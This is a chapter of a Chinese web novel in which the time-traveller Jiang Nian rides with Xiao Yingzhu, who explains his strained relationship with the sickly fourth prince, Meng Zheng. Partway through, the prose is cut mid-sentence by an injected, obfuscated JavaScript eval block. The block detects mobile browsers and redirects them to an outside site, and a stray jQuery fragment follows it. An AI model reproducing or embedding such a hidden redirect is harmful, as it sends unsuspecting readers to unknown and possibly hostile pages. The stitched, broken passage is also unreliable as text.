被萧映竹送到住处门口前，姜念搭在庭院的门上，和他轻轻摆了摆手。
“劳烦你今日送我到这了，时间不早，还是赶紧回去休息吧。”
即便没有和萧映竹天天共事，她也知晓萧映竹手头上的任务只多不少。
萧映竹站在门口，看了她片刻，目光动了动，眼底的思绪随即又被主人压下。
他轻轻颔首后，浅淡应了一声，便转身往自己的住处走去。
看着萧映竹渐渐隐于夜色的背影，姜念叹息一声，随手将门合上。
不知是不是自己多疑心，总感觉……下午同他说完那些话后，他们之间的关系又隐隐转变了。
就像今晚回程的相处。
“……”
姜念闭了闭眼，挥散去这些又开始联想说不清道不明的思绪，转身进了屋。
窗纸内的灯亮了一阵，随即又被人剪断。
今夜宁静无事。
—
隔天，姜念早早起来选择衣服梳妆打扮。
毕竟要去见于指挥使与溪长官，不收拾干净怕是会落得个不好的印象。
但由于本身喜好偏简约风，她在衣着以及头发装饰上只是按色系搭配一下，未多做改变。
而妆容靠近偏现代的淡妆。
这个时代的镜子尚能看到面容，但相对于现代来说，仍然算模糊那一类。
姜念伸手将梳妆镜拿起，对着投进纸窗内的阳光照了照，温软柔和的五官即现在镜子上。
在现代时，她是二四二五岁。
而这个时代……
尚存留稚气的面容与她十五十六岁时相似。
若非是穿越，她真的不会想到，在不知名的时代里，会有容貌如此和她相近之人。
将镜子放回原位后，姜念随即拿起了那本本子。
原先是用来查阅是否有遗漏线索的，如今倒是成了她了解周边发生事情之用。
不然单单从她的视角来看，想要联系起全部的事件实在是太难了。
将本子放回包里后，站在镜子前打理了一下因坐下而有些褶皱的衣服。
确认装扮无误后，她背上了挎包，随即走出了住处。
—
昨晚同萧映竹定好了时间，因此到幽馆府邸门口时，萧映竹已经站在外边等她了。
怕迟到，也怕萧映竹等得久了，姜念整理了表情上前朝他挥了挥手。
“我没有来迟吧？”
听到搭话声，萧映竹转过了身，目光在她挽起的发落及一瞬，下移到了那枚明显的耳坠上。
“未曾。”
收回目光后，他应了一声，便抬手撩起了车帘。
“你先行。”
“……”
似曾相识的画面。
脑海里在屏州夜晚的回忆闪现一瞬，姜念压下了心中那抹莫名的怀想，从车帘下进了车厢。
坐到熟悉的座位上后，她将包放到了一旁，侧眸看向窗外，神经舒缓了不少。
这两天一见到萧映竹就莫名地紧张起来，不去看他倒还好。
碍于面子，姜念并不想让萧映竹发现这个端倪。
车帘放下后，侍从从外关上了门，便毕恭毕敬地目送他们远行。
从府邸到山下有一段下坡的距离，途径郁郁葱葱地树林，姜念目光掠及湛蓝的天色与飞鸟，转念出声询问道：
“你与秦公子……都是京城人吗？”
“京城人？”萧映竹目露讶异，随即认可了这个说法，“嗯，那里是我与他的家乡。”
“那……”和他一对视上，姜念就想移开眼，脑海空白一瞬，本想问的话又偏移了些，转而变成了八卦，“桃小姐也是京城人吗？”
“……”
车厢静默了一瞬，萧映竹若有所思地看了她一眼，随即移开了目光。
“不是。”
“……嗯。”
姜念闭了闭眼，神色自若地继续看窗外掠过的景色。
之前她到底是怎么和萧映竹聊天的？
感觉和他忽然不会聊天了。
真的是纯尬聊。
这辈子没有给自己挖坑跳的姜念此时被自己绊进了坑底，想了半天如何化解自己带来的尴尬时，萧映竹出声打断了这有些微妙的静默。
“先前你所说的那名士兵现在为于鹤的部下，你若是有问题问他，稍后可以同于鹤提。”
主教调查的进展缓慢，姜念正想借着孟峥调查这事儿来调查自己穿越的事，听到萧映竹这么说，当即答应了下来。
“好，我知道了，谢谢。”
“……不用。”
萧映竹抬起手，揉了揉眉心，阖了片刻眼后，淡淡出声道：“你为我的同盟，无需如此拘谨。”
“……”
姜念张了张口，心底的矛盾无法言说，半晌后只好闭上了嘴。
“嗯。”
有意让双方的关系不再这么僵硬，萧映竹支着头点了点桌面，另起了一个话题。
“先前在药肆，我还欠你几个问题未回答。”
“时间正好有闲暇，不如就此打发时间？”
他的声音懒懒散散，不像平常那般带着疏离的距离感，也不会让人感到捉摸不清。
情绪也似能听到辨别些，变得有迹可循。
姜念思考片刻，出声问道：“什么都可以吗？”
“嗯。只要我能答。”
得到回答的保障，姜念将心底的几个问题逡巡个来回，最终避开能触及到他父母或是昌德帝核心的话题，选了个相对不痛不痒的问题问道：
“能说一下……你和四皇子之间的事情吗？”
从初次认识孟峥那一刻起，姜念就觉得他们之间有不妙的事情发生过。
现在和孟峥又成了暂时的合作伙伴，问清萧映竹和孟峥之间的关系，倒让夹在中间的她稍微会领清事儿一点，免得到时候合作谈事时踩到人家的雷点。
“可以。”
萧映竹倒是不惊讶姜念会选这个问题来问他，与之相反，他似是料想到了她会从这边入手问。
没有停顿片刻，他便没什么保留的回答出来：“孟峥从小身体不好，所以与我和秦览、霜华他们的生活不同，终日关在宫里不让出门。”
“因此他的性格比同龄人来说更为敏感，思考的方式也不同与旁人，对事物的看法都与我们不仅相同。”
萧映竹沉思了片刻，回想起当年站在昌德帝面前汇报任务完成的结果时，孟峥的神情。
那种毫不避违的直视、丝毫不觉冒犯别人的直白眼神。
“他对事物的看法很偏执，与如今的孟戬不同，他的偏执是落点于一个人的变化上。”
姜念眨了眨眼：“一个人的变化？”
“嗯，他关注旁人是否按原本的想法、或是抉择走，若是曾经下了注，日后又当丢弃曾经自己想法，那么便会被他认为是‘逃兵’，是无用之人。”
见到姜念面容仍有不解，萧映竹淡淡的开口更加详细地解释道：
“因为天生的疾病，他终身都会受到病情的折磨，因此他一旦选择了一个目标，他就只能朝着这一个目标走，没有后悔的余地，也没有容错的余地。”
想起孟峥在乡野生活，曾几次试图探寻他在做什么的记忆片段，萧映竹散淡地点着桌面，继续道：
“心思尤为敏感，想法旁人难以理解，决心改变自身的束缚但又无力抵抗命运，认清自身所遇到的困境后，孟峥就形成了这种一条路走到低也不回头的孤注一掷想法。”
“一边试着让自己挣脱命运，一边又被自己因困境产生的想法束缚在原地，每当透不过气，想看看外界人的生活，给自己编造出活下去的动力时，他就会把自己的目标放到别人身上。”
“别人若是按照他这类孤注一掷的想法走到底并成功后，他便会感到欢心。”
“但若是中途放弃了，他就会嗤之以鼻。”
当时从赤门到苍郡的那条船上，孟峥因犯病而强撑着的面容姜念至今还记得。
厌恶旁人的同情……同时也是唾弃自己病弱的身体。
在对旁人的放弃嗤之以鼻时，孟峥会不会更唾弃这个只能孤注一掷的自己？
姜念垂下眼，思索了片刻，随即又继续抬眸听萧映竹淡淡的话语。
“周围能接触到的人太少，所以孟峥的目标便投
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405883|145522||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到了我的身上。”
茶的香味从茶壶中溢出，片刻后，姜念面前盛满了一盏花茶。
她接过后轻声道了谢，顺着萧映竹的话问道：“……那便是你们在苍郡见面时，他所问的话？”
萧映竹漫不经心地转了转茶盏。
“嗯。”
“许多年前，我曾在陛下面前立下誓言，但多年之后……”
他微微弯了弯唇。
“如你所见，我在洹都的名声并不好。”
“因此，他在我这儿投放下的目标算是破裂了。”
姜念蹙了蹙眉：“你在这之中所做的事，也与他无关，从头到尾不都是他一个人的想法吗？”
“是他将自己的想法强加于你身上。”
讶异姜念的反应会如此大，萧映竹摩挲了杯盏，片刻后话语里带了上了些许散漫的笑意。
听上去像是他对孟峥看法并未有过多的生气，反而无法波动到他的心绪，显得无所谓。
“或许是，不过尚有些还未说完。”
“我的父母与长公主是朋友，而长公主对孟峥来说意义非凡，因此他也在芥蒂我目前在洹都的名声，有辱父母过往所做之事的美名。”
“……”姜念握着茶，抬眼看了萧映竹半晌，“你没有做错什么。”
萧映竹支着头，掀起眼看向姜念。
“常人皆易被纷杂事物迷花了眼，能看清事物的根蒂的人，终究只是愿意背事物接纳的那一小部分人罢了。”
“被徘绝在外的人，即便在如何努力，也无法得到自己所知的答案。”
车窗外的光透进到了案几上，照亮了萧映竹绮丽漂亮的眉眼。
他的情绪极为平缓。
甚至同外边相传的喜怒不定尽相反。
“所以，姜念，我并不为此抱怨。”
只不过是被筛选下去而忿忿不平，发出反驳之声的旁人罢了，着实没必要废情绪。
她听出萧映竹话里的话了。
“……即便是要将所付出的一切都被他人占据，过往的美名皆要被抹除吗？”
姜念垂着眼，看向手中的茶盏。
那里面映出了她温婉的眉眼。
“我觉得这并不公平。”
“等东澜对洹都的风波平息后，那些人……都只会将一切受到的苦难归根到你这位‘不作为’，甚至会‘背叛’昌德帝的国公爷身上了。”
“享受着你们日夜奔忙而带来舒适环境享乐的贵族，以及那些蒙骗在贵族话语里的百姓。”
“……真的不能改变这一切吗？”
“……”
萧映竹看了她片刻，语调的懒散不知何时褪去了，又是一片捉摸不到的散淡。
“担当起这个职位时，我就知晓这是必经之路了。”
“姜念，你无需为一个不觉得委屈的人发声。”
他若有所思地点了点桌面。
“比起为我觉得不忿，或许将感情精力花在如何从醉花楼里得到情报更好。”
“……”
姜念叹了口气，心底的沉重未散，反而更多了些。
“你这样说话真的很令人扫兴。”
收到她不满的眼神，萧映竹极淡地笑了笑，将这个话题一笔带过。
“这些原因相叠——所以孟峥与我不合。”
“我所回答的问题，现在能让你满意吗？”
“……不能。”
姜念摇了摇头。
“这样看来，像是他单方面怨恨你。而不是你俩都有矛盾。”
“若是当初见面时，你对孟峥反驳的话语是因为‘国公爷’这个外在人设使然，那之后呢？”
她若有所思地回忆起过往种种。
“从之后所发生的事来看，你也和他似有些摩擦。”
萧映竹顿了片刻，忽而勾起了唇，垂眼看向她。
“你没有发现？”
话题主人公莫名转移到了自己身上，姜念很是茫然。
“发现什么？”
萧映竹支着头，勾着唇悠悠道：“因为他一而再再而三的试探你的身份。”
“所以之后的纠纷，都是因你而来。”